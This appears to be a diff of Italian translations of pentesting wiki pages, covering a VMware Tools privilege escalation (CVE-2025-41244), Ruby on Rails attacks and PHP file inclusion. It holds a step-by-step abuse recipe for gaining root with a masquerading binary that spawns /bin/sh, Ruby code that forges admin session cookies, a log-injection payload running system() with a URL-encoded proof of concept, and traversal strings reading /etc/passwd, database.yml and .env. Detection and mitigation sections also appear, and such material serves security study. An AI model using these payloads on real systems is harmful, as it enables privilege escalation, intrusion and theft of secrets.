+Questa tecnica sfrutta pipeline di service discovery basate su regex che analizzano le command line dei processi in esecuzione per ricavare le versioni dei servizi e poi eseguono un binario candidato con il flag "version". Quando pattern permissivi accettano percorsi non attendibili controllati dall'attaccante (es. /tmp/httpd), il collector privilegiato esegue un binario arbitrario da una posizione non attendibile, ottenendo una escalation locale di privilegi. NVISO ha documentato questo in VMware Tools/Aria Operations Service Discovery come CVE-2025-41244.
 
-- Impatto: Local privilege escalation a root (o all'account di discovery privilegiato)
-- Causa: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
-- Interessati: open-vm-tools/VMware Tools su Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
+- Impact: escalation locale dei privilegi a root (o all'account privilegiato di discovery)
+- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
+- Affected: open-vm-tools/VMware Tools su Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
 
-## Come funziona VMware service discovery (panoramica)
+## How VMware service discovery works (high level)
 
-- Credential-based (legacy): Aria esegue discovery scripts all'interno del guest tramite VMware Tools usando privileged credentials configurate.
-- Credential-less (modern): La discovery logic gira all'interno di VMware Tools, già privilegiata nel guest.
+- Credential-based (legacy): Aria esegue gli script di discovery all'interno del guest tramite VMware Tools usando credenziali privilegiate configurate.
+- Credential-less (modern): La logica di discovery gira all'interno di VMware Tools, già privilegiato nel guest.
 
-Entrambe le modalità, alla fine, eseguono logica in shell che scansiona i processi con socket in ascolto, estrae un command path corrispondente tramite una regex e esegue il primo token argv con un flag version.
+Entrambi i metodi eseguono, in ultima analisi, script shell che scansionano i processi che hanno socket in ascolto, estraggono un percorso di comando corrispondente tramite una regex e eseguono il primo token argv con il flag version.
 
-## Causa radice e pattern vulnerabile (open-vm-tools)
+## Root cause and vulnerable pattern (open-vm-tools)
 
-In open-vm-tools, lo script plugin serviceDiscovery get-versions.sh confronta i candidate binaries usando espressioni regolari ampie e esegue il primo token senza alcuna validazione del trusted-path:
+In open-vm-tools, lo script del plugin serviceDiscovery get-versions.sh confronta i binari candidati usando espressioni regolari ampie e esegue il primo token senza alcuna validazione del trusted-path:
 ```bash
 get_version() {
 PATTERN=$1
@@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
 done
 }
 ```
-Viene invocato con pattern permissivi contenenti \S (non-whitespace) che andranno facilmente a corrispondere a percorsi non di sistema in posizioni scrivibili dall'utente:
+Viene invocato con pattern permissivi che contengono \S (non-whitespace) che corrisponderanno volentieri a percorsi non di sistema in posizioni scrivibili dall'utente:
 ```bash
 get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
 get_version "/usr/(bin|sbin)/apache\S*" -v
@@ -39,22 +39,22 @@ get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
 get_version "/\S+/dataserver($|\s)" -v
 ```
 - L'estrazione usa grep -Eo e prende il primo token: ${COMMAND%%[[:space:]]*}
-- Nessuna whitelist/allowlist di percorsi di sistema considerati trusted; qualsiasi discovered listener con un nome corrispondente viene eseguito con -v/--version
+- Non esiste una whitelist/allowlist di percorsi di sistema attendibili; qualsiasi listener scoperto con un nome corrispondente viene eseguito con -v/--version
 
-Questo crea una primitive di esecuzione basata su un percorso di ricerca non trusted: binari arbitrari situati in directory world-writable (e.g., /tmp/httpd) vengono eseguiti da un componente privilegiato.
+Questo crea una primitiva di esecuzione untrusted search path: binari arbitrari situati in world-writable directories (es., /tmp/httpd) vengono eseguiti da un componente privilegiato.
 
-## Sfruttamento (sia in modalità credential-less che credential-based)
+## Sfruttamento (modalità sia senza credenziali che basata su credenziali)
 
-Preconditions
-- Puoi eseguire un processo non privilegiato che apre una listening socket sul guest.
-- Il discovery job è abilitato e gira periodicamente (storicamente ~5 minuti).
+Precondizioni
+- Puoi eseguire un processo non privilegiato che apre una socket in ascolto sulla guest.
+- Il job di discovery è abilitato e viene eseguito periodicamente (storicamente ~5 minuti).
 
-Steps
-1) Stage a binary in a path matching one of the permissive regexes, e.g. /tmp/httpd or ./nginx
-2) Eseguilo come utente a basso privilegio e assicurati che apra una qualsiasi listening socket
-3) Attendi il ciclo di discovery; il privileged collector eseguirà automaticamente: /tmp/httpd -v (o simile), eseguendo il tuo programma come root
+Passaggi
+1) Posiziona un binario in un percorso che corrisponde a una delle permissive regex, p.es. /tmp/httpd o ./nginx
+2) Eseguilo come utente a basso privilegio e assicurati che apra una socket in ascolto
+3) Attendi il ciclo di discovery; il collector privilegiato eseguirà automaticamente: /tmp/httpd -v (o simile), eseguendo il tuo programma come root
 
-Minimal demo (using NVISO’s approach)
+Demo minima (usando l'approccio di NVISO)
 ```bash
 # Build any small helper that:
 #  - default mode: opens a dummy TCP listener
@@ -69,57 +69,57 @@ Tipica catena dei processi
 - Basato su credenziali: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
 - Senza credenziali: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
 
-Artefatti (basato su credenziali)
-Gli script wrapper SDMP recuperati sotto /tmp/VMware-SDMP-Scripts-{UUID}/ possono mostrare l'esecuzione diretta del percorso malevolo:
+Artefatti (basati su credenziali)
+Gli script wrapper SDMP recuperati sotto /tmp/VMware-SDMP-Scripts-{UUID}/ possono mostrare l'esecuzione diretta del rogue path:
 ```bash
 /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
 ```
-## Generalizing the technique: regex-driven discovery abuse (portable pattern)
+## Generalizzare la tecnica: abuso della discovery guidata da regex (pattern portatile)
 
-Many agents and monitoring suites implement version/service discovery by:
-- Enumerating processes with listening sockets
-- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
-- Executing the matched path with a benign flag like -v, --version, -V, -h
+Molti agenti e suite di monitoraggio implementano la discovery di versioni/servizi tramite:
+- Enumerare i processi con socket in ascolto
+- Scansionare argv/linee di comando con regex permissive (es., pattern contenenti \S)
+- Eseguire il percorso corrispondente con un flag benigno come -v, --version, -V, -h
 
-If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution.
+Se la regex accetta percorsi non attendibili e il percorso viene eseguito da un contesto privilegiato, si ottiene CWE-426 Untrusted Search Path execution.
 
 Abuse recipe
-- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver
-- Place it in a writable directory: /tmp/httpd, ./nginx
-- Ensure it matches the regex and opens any port to be enumerated
-- Wait for the scheduled collector; you get an automatic privileged invocation of <path> -v
+- Nomina il tuo binario come daemon comuni che la regex è probabile che corrisponda: httpd, nginx, mysqld, dataserver
+- Posizionalo in una directory scrivibile: /tmp/httpd, ./nginx
+- Assicurati che corrisponda alla regex e apra una porta qualunque per essere enumerata
+- Attendi il collector programmato; otterrai un'invocazione privilegiata automatica di <path> -v
 
 Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
 
 Reusable privileged I/O relay trick
 - Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag.
 
-## Detection and DFIR guidance
+## Rilevamento e indicazioni DFIR
 
 Hunting queries
-- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld
-- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions)
-- ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> <non-system path>
+- Figli non comuni di vmtoolsd o get-versions.sh come /tmp/httpd, ./nginx, /tmp/mysqld
+- Qualsiasi esecuzione di percorsi assoluti non di sistema da parte di script di discovery (cerca spazi nelle espansioni ${COMMAND%%...})
+- ps -ef --forest per visualizzare gli alberi di parentela: vmtoolsd -> get-versions.sh -> <non-system path>
 
-On Aria SDMP (credential-based)
-- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths
+Su Aria SDMP (credential-based)
+- Ispeziona /tmp/VMware-SDMP-Scripts-{UUID}/ per script transitori e artefatti stdout/stderr che mostrano l'esecuzione di percorsi dell'attaccante
 
-Policy/telemetry
-- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
-- File integrity monitoring on get-versions.sh and VMware Tools plugins
+Policy/telemetria
+- Allerta quando i collector privilegiati eseguono da prefissi non di sistema: ^/(tmp|home|var/tmp|dev/shm)/
+- Monitoraggio dell'integrità dei file su get-versions.sh e VMware Tools plugins
 
-## Mitigations
+## Mitigazioni
 
-- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
-- Disable or restrict credential-less discovery where feasible
-- Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries
-- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names
-- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact
-- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths
+- Patch: Applicare gli aggiornamenti Broadcom/VMware per CVE-2025-41244 (Tools and Aria Operations SDMP)
+- Disabilitare o limitare la discovery senza credenziali quando possibile
+- Validare i percorsi trusted: restringere l'esecuzione alle directory consentite (/usr/sbin, /usr/bin, /sbin, /bin) e solo ai binari esatti noti
+- Evitare regex permissive con \S; preferire percorsi assoluti espliciti ancorati e nomi di comando esatti
+- Ridurre i privilegi per gli helper di discovery quando possibile; sandboxare (seccomp/AppArmor) per ridurre l'impatto
+- Monitorare e allertare su vmtoolsd/get-versions.sh che eseguono percorsi non di sistema
 
-## Notes for defenders and implementers
+## Note per i difensori e gli implementatori
 
-Safer matching and execution pattern
+Pattern di matching ed esecuzione più sicuro
 ```bash
 # Bad: permissive regex and blind exec
 COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
@@ -138,7 +138,7 @@ esac
 ## Riferimenti
 
 - [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
-- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
+- [Avviso Broadcom per CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
 - [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
 - [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
 - [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)

src/network-services-pentesting/pentesting-web/ruby-tricks.md

@@ -4,46 +4,46 @@
 
 ## Upload di file per RCE
 
-Come spiegato in [this article](https://www.offsec.com/blog/cve-2024-46986/), caricare un file `.rb` in directory sensibili come `config/initializers/` può portare a remote code execution (RCE) in applicazioni Ruby on Rails.
+Come spiegato in [this article](https://www.offsec.com/blog/cve-2024-46986/), caricare un file `.rb` in directory sensibili come `config/initializers/` può portare a remote code execution (RCE) nelle applicazioni Ruby on Rails.
 
 Suggerimenti:
-- Altre posizioni di boot/eager-load eseguite all'avvio dell'app sono rischiose se scrivibili (ad esempio, `config/initializers/` è quella classica). Se trovi un upload arbitrario che finisce da qualche parte sotto `config/` e viene poi valutato/required, potresti ottenere RCE all'avvio.
-- Cerca build dev/staging che copiano file controllati dall'utente nell'immagine del container dove Rails li caricherà al boot.
+- Altre posizioni di boot/eager-load eseguite all'avvio dell'app sono anch'esse rischiose se scrivibili (es., `config/initializers/` è quella classica). Se trovi un upload arbitrario che finisce da qualche parte sotto `config/` e viene poi valutato/required, potresti ottenere RCE all'avvio.
+- Cerca build dev/staging che copiano file controllati dall'utente nell'immagine del container dove Rails li caricherà all'avvio.
 
 ## Active Storage image transformation → command execution (CVE-2025-24293)
 
-Quando un'applicazione usa Active Storage con `image_processing` + `mini_magick`, e passa parametri non affidabili ai metodi di trasformazione immagine, le versioni di Rails precedenti a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 potrebbero consentire command injection perché alcuni metodi di trasformazione erano erroneamente permessi di default.
+Quando un'applicazione usa Active Storage con `image_processing` + `mini_magick`, e passa parametri non affidabili ai metodi di trasformazione delle immagini, versioni di Rails precedenti a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 potrebbero consentire command injection perché alcuni metodi di trasformazione erano erroneamente permessi di default.
 
-- Un pattern vulnerabile appare così:
+- A vulnerable pattern looks like:
 ```erb
 <%= image_tag blob.variant(params[:t] => params[:v]) %>
 ```
-dove `params[:t]` e/o `params[:v]` sono controllati dall'attaccante.
+where `params[:t]` and/or `params[:v]` are attacker-controlled.
 
-- Cosa provare durante il testing
-- Individua endpoint che accettano opzioni variant/processing, nomi di trasformazione, o argomenti arbitrari di ImageMagick.
-- Fuzz `params[:t]` e `params[:v]` per errori sospetti o effetti collaterali di esecuzione. Se riesci a influenzare il nome del metodo o passare argomenti raw che raggiungono MiniMagick, potresti ottenere code exec sull'host del processore di immagini.
-- Se hai solo read-access ai variant generati, prova blind exfiltration tramite operazioni ImageMagick create ad arte.
+- Cosa provare durante i test
+- Individua eventuali endpoint che accettano variant/processing options, nomi di trasformazioni, o argomenti arbitrari per ImageMagick.
+- Fuzz `params[:t]` e `params[:v]` alla ricerca di errori sospetti o effetti collaterali di esecuzione. Se puoi influenzare il nome del metodo o passare argomenti raw che raggiungono MiniMagick, potresti ottenere code exec sull'host che esegue l'image processor.
+- Se hai solo accesso in lettura alle variant generate, prova l'esfiltrazione cieca tramite operazioni ImageMagick appositamente create.
 
 - Mitigazione/rilevamento
-- Se trovi Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + `image_processing` + `mini_magick` e trasformazioni controllate dall'utente, consideralo sfruttabile. Raccomanda l'aggiornamento e l'applicazione di allowlists rigorose per metodi/parametri e di una policy di ImageMagick più restrittiva.
+- Se trovi Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + `image_processing` + `mini_magick` e trasformazioni controllate dall'utente, consideralo sfruttabile. Raccomanda l'aggiornamento e l'applicazione di allowlists rigorose per metodi/params e una policy ImageMagick più restrittiva.
 
 ## Rack::Static LFI / path traversal (CVE-2025-27610)
 
-Se lo stack target usa direttamente Rack middleware o tramite framework, le versioni di `rack` precedenti a 2.2.13, 3.0.14 e 3.1.12 permettono Local File Inclusion tramite `Rack::Static` quando `:root` è unset/misconfigurato. Traversal codificati in `PATH_INFO` possono esporre file sotto la working directory del processo o una root inaspettata.
+Se lo stack target usa Rack middleware direttamente o tramite framework, versioni di `rack` precedenti a 2.2.13, 3.0.14 e 3.1.12 consentono Local File Inclusion tramite `Rack::Static` quando `:root` non è impostato/misconfigurato. Traversal codificato in `PATH_INFO` può esporre file sotto la directory di lavoro del processo o un root inatteso.
 
-- Cerca app che montano `Rack::Static` in `config.ru` o negli stack di middleware. Prova traversal codificati contro percorsi statici, per esempio:
+- Cerca app che montano `Rack::Static` in `config.ru` o nello stack di middleware. Prova traversal codificati contro percorsi statici, per esempio:
 ```text
 GET /assets/%2e%2e/%2e%2e/config/database.yml
 GET /favicon.ico/..%2f..%2f.env
 ```
-Adatta il prefisso per corrispondere ai `urls:` configurati. Se l'app risponde con il contenuto del file, probabilmente hai LFI verso qualsiasi cosa sotto il `:root` risolto.
+Adatta il prefisso per corrispondere a `urls:` configurati. Se l'app risponde con il contenuto dei file, probabilmente hai LFI verso qualsiasi cosa sotto il `:root` risolto.
 
-- Mitigazione: aggiorna Rack; assicurati che `:root` punti solo a una directory di file pubblici ed è esplicitamente impostato.
+- Mitigazione: aggiorna Rack; assicurati che `:root` punti solo a una directory di file pubblici ed sia impostato esplicitamente.
 
-## Forging/decrypting Rails cookies quando `secret_key_base` is leaked
+## Falsificazione/decrittazione dei cookie Rails quando `secret_key_base` è leaked
 
-Rails cripta e firma i cookie usando chiavi derivate da `secret_key_base`. Se quel valore leaks (ad esempio, in un repo, log o credenziali mal configurate), di solito puoi decriptare, modificare e ri-crittografare i cookie. Questo spesso porta a authz bypass se l'app memorizza ruoli, user ID o feature flags nei cookie.
+Rails cripta e firma i cookie usando chiavi derivate da `secret_key_base`. Se quel valore leaks (es., in un repo, nei log, o credenziali mal configurate), di solito puoi decryptare, modificare e re-encryptare i cookie. Questo spesso porta a authz bypass se l'app memorizza ruoli, user IDs o feature flags nei cookie.
 
 Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
 ```ruby
@@ -70,9 +70,9 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
 forged = enc.encrypt_and_sign(plain)
 puts "Forged cookie: #{CGI.escape(forged)}"
 ```
-Note:
-- Le app più vecchie possono usare AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, o JSON/Marshal serializers. Adatta salts, cipher e serializer di conseguenza.
-- In caso di compromissione/valutazione, ruota `secret_key_base` per invalidare tutti i cookie esistenti.
+Notes:
+- Le applicazioni più vecchie possono usare AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, oppure serializzatori JSON/Marshal. Regola di conseguenza salts, cipher e serializer.
+- In caso di compromissione/assessment, ruota `secret_key_base` per invalidare tutti i cookie esistenti.
 
 ## Vedi anche (vulnerabilità specifiche Ruby/Rails)
 
@@ -92,9 +92,83 @@ Note:
 {{#endref}}
 
 
+## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
 
+Quando un'app (spesso un semplice endpoint Rack/Sinatra/Rails) soddisfa entrambe le condizioni:
+- registra nel log una stringa controllata dall'utente tal quale, e
+- in seguito esegue un `load` di un file il cui percorso è derivato da quella stessa stringa (dopo `Pathname#cleanpath`),
+
+Spesso è possibile ottenere remote code execution avvelenando il log e poi costringendo l'app a `load`are il file di log. Primitive chiave:
+
+- Ruby `load` valuta il contenuto del file target come Ruby indipendentemente dall'estensione del file. Qualsiasi file di testo leggibile il cui contenuto sia valido come codice Ruby verrà eseguito.
+- `Pathname#cleanpath` collassa i segmenti `.` e `..` senza interrogare il filesystem, permettendo il path smuggling: dati di junk controllati dall'attaccante possono essere prepended per il logging mentre il percorso "pulito" risolve ancora al file inteso da eseguire (es., `../logs/error.log`).
+
+### Minimal vulnerable pattern
+```ruby
+require 'logger'
+require 'pathname'
+
+logger   = Logger.new('logs/error.log')
+param    = CGI.unescape(params[:script])
+path_obj = Pathname.new(param)
+
+logger.info("Running backup script #{param}")            # Raw log of user input
+load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath
+```
+### Perché il log può contenere Ruby valido
+`Logger` scrive righe di prefisso come:
+```
+I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>
+```
+In Ruby, `#` inizia un commento e `9/2/2025` è solo aritmetica. Per iniettare codice Ruby valido devi:
+- Iniziare il payload su una nuova riga in modo che non venga commentato dal `#` nella riga INFO; invia una newline iniziale (`\n` o `%0A`).
+- Chiudere la `[` sospesa introdotta dalla riga INFO. Un trucco comune è iniziare con `]` e opzionalmente rendere il parser contento con `][0]=1`.
+- Poi inserire Ruby arbitrario (es., `system(...)`).
+
+Esempio di cosa finirà nel log dopo una richiesta con un parametro creato ad arte:
+```
+I, [9/2/2025 #209384]  INFO -- : Running backup script
+][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
+```
+### Smuggling di una singola stringa che sia contemporaneamente registrata come codice e risolva nel percorso del log
+Vogliamo una singola stringa controllata dall'attaccante che:
+- quando loggata raw, contenga il nostro Ruby payload, e
+- quando passata attraverso `Pathname.new(<input>).cleanpath`, risolva in `../logs/error.log` in modo che il successivo `load` esegua il file di log appena avvelenato.
+
+`Pathname#cleanpath` ignora gli scheme e collassa i componenti di traversal, quindi il seguente funziona:
+```ruby
+require 'pathname'
+
+p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
+puts p.cleanpath   # => ../logs/error.log
+```
+- Il `#` prima di `://` fa sì che Ruby ignori la tail quando il log viene eseguito, mentre `cleanpath` riduce comunque il suffisso a `../logs/error.log`.
+- La nuova riga iniziale esce dalla riga INFO; `]` chiude la parentesi sospesa; `][0]=1` soddisfa il parser.
+
+### End-to-end exploitation
+1. Invia quanto segue come nome dello script di backup (codifica URL la prima newline come `%0A` se necessario):
+```
+\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
+```
+2. L'app registra la tua stringa raw in `logs/error.log`.
+3. L'app calcola `cleanpath` che si risolve in `../logs/error.log` e chiama `load` su di esso.
+4. Ruby esegue il codice che hai iniettato nel log.
+
+Per esfiltrare un file in un ambiente simile a un CTF:
+```
+\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
+```
+URL-encoded PoC (il primo carattere è una nuova riga):
+```
+%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
+```
 ## Riferimenti
 
-- Annuncio di sicurezza Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- Avviso di sicurezza Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
 - Avviso GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
+- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
+- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
+- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
+
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md

@@ -17,7 +17,7 @@ Se trovi credenziali valide, puoi usare altri moduli scanner di metasploit per o
 
 ### Vedi anche
 
-Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
+Linux LPE tramite VMware Tools service discovery (CWE-426 / CVE-2025-41244):
 
 {{#ref}}
 ../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md

src/pentesting-web/file-inclusion/README.md

@@ -4,7 +4,7 @@
 
 ## File Inclusion
 
-**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** per default (**allow_url_include**).\
+**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** di default (**allow_url_include**).\
 **Local File Inclusion (LFI):** Il server carica un file locale.
 
 La vulnerabilità si verifica quando l'utente può in qualche modo controllare il file che verrà caricato dal server.
@@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 ```
 ### **Linux**
 
-**Combinando diverse \*nix LFI lists e aggiungendo altri percorsi ho creato questa:**
+**Mescolando diverse \*nix liste LFI e aggiungendo altri percorsi ho creato questa:**
 
 
 {{#ref}}
@@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 Prova anche a cambiare `/` con `\`\
 Prova anche ad aggiungere `../../../../../`
 
-Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
 
 ### **Windows**
 
@@ -43,19 +43,19 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 Prova anche a cambiare `/` con `\`\
 Prova anche a rimuovere `C:/` e aggiungere `../../../../../`
 
-Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
 
 ### **OS X**
 
 Controlla la lista LFI di linux.
 
-## LFI di base e bypass
+## Nozioni base su LFI e bypass
 
-Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
+Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
-### sequenze traversal rimosse non ricorsivamente
+### sequenze di traversal rimosse non ricorsivamente
 ```python
 http://example.com/index.php?page=....//....//....//etc/passwd
 http://example.com/index.php?page=....\/....\/....\/etc/passwd
@@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
 ```
 ### **Null byte (%00)**
 
-Bypass l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
+Bypass l'aggiunta di ulteriori caratteri alla fine della stringa fornita (bypass of: $\_GET\['param']."php")
 ```
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
-Questo è stato risolto da PHP 5.4
+Questo è **risolto a partire da PHP 5.4**
 
 ### **Codifica**
 
-Puoi usare codifiche non standard come double URL encode (e altre):
+È possibile usare codifiche non standard come double URL encode (e altre):
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
-### From existent folder
+### Da una cartella esistente
 
-Forse il back-end sta controllando il percorso della cartella:
+Forse il back-end sta verificando il percorso della cartella:
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
 ### Esplorare le directory del file system su un server
 
-Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando certe tecniche. Questo processo comporta determinare la profondità della directory e sondare l'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per ottenerlo:
+Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando certe tecniche. Questo processo comporta la determinazione della profondità delle directory e la verifica dell'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per ottenere questo risultato:
 
-1. **Determinare la profondità della directory:** Accertare la profondità della directory corrente ottenendo con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
+1. **Determinare la profondità della directory:** Stabilisci la profondità della tua directory corrente recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Probe for Folders:** Aggiungi il nome della cartella sospetta (es., `private`) all'URL, poi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
+2. **Verifica delle cartelle:** Aggiungi il nome della cartella sospetta (es., `private`) all'URL, poi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
 3. **Interpreta i risultati:** La risposta del server indica se la cartella esiste:
 - **Errore / Nessun output:** La cartella `private` probabilmente non esiste nella posizione specificata.
 - **Contenuto di `/etc/passwd`:** La presenza della cartella `private` è confermata.
-4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI).
+4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esaminate per sottodirectory o file usando la stessa tecnica o i metodi tradizionali Local File Inclusion (LFI).
 
-Per esplorare directory in posizioni diverse del file system, adatta il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (assumendo che la directory corrente sia a una profondità di 3), usa:
+Per esplorare directory in posizioni diverse del file system, adegua il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (assumendo che la directory corrente si trovi a profondità 3), usa:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Path Truncation Technique**
 
